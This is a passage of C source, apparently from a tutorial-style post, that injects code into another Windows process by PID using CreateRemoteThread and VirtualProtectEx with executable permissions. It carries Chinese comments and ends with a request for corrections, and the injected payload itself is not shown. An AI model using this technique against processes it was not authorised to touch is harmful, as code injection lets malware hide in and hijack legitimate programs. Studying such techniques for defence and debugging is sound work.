hThread = CreateRemoteThread(//返回新线程句柄
hProcess, //句柄
NULL, //线程安全指针
0, //线程初始化大小 0 系统默认大小
(LPTHREAD_START_ROUTINE)pRemoteCode,
//在远程进程的地址空间中 该线程的起始地址
pRemoteCode,//传递给线程函数的参数
0 ,//线程创建标志 0 创建后立即运行
&dwThreadId);//指向所创建线程句柄的指针
if (hThread == 0) {
printf("failed.\n");
if ( pRemoteCode != 0 )
VirtualFreeEx(//释放远程进程中申请的内存空间
hProcess,//目标进程句柄
pRemoteCode,//要释放的内存空间首地址的指针
0,//内存空间字节数
MEM_RELEASE);//释放类型 完全回收
if ( hThread != 0 )
CloseHandle(hThread);
return -1;
}
printf("ok.\n");
VirtualProtectEx(hProcess,pRemoteCode,
dwNumBytesXferred,PAGE_EXECUTE_READWRITE,&op);
printf("[I]: Waiting the remote thread ...");
WaitForSingleObject(hThread, INFINITE);//等待远程线程执行
GetExitCodeThread(hThread, (PDWORD) &exitcode);//获得终止线程的退出码
printf("exited with 0x%08X\n", exitcode);
VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
int main(int argc, char *argv[])
{
DWORD PID = 0;
PID = atoi(argv[1]);
make_code();
inject_code(PID);
return 0;
}
========================if i have some wrong, please give me a message, thx.========================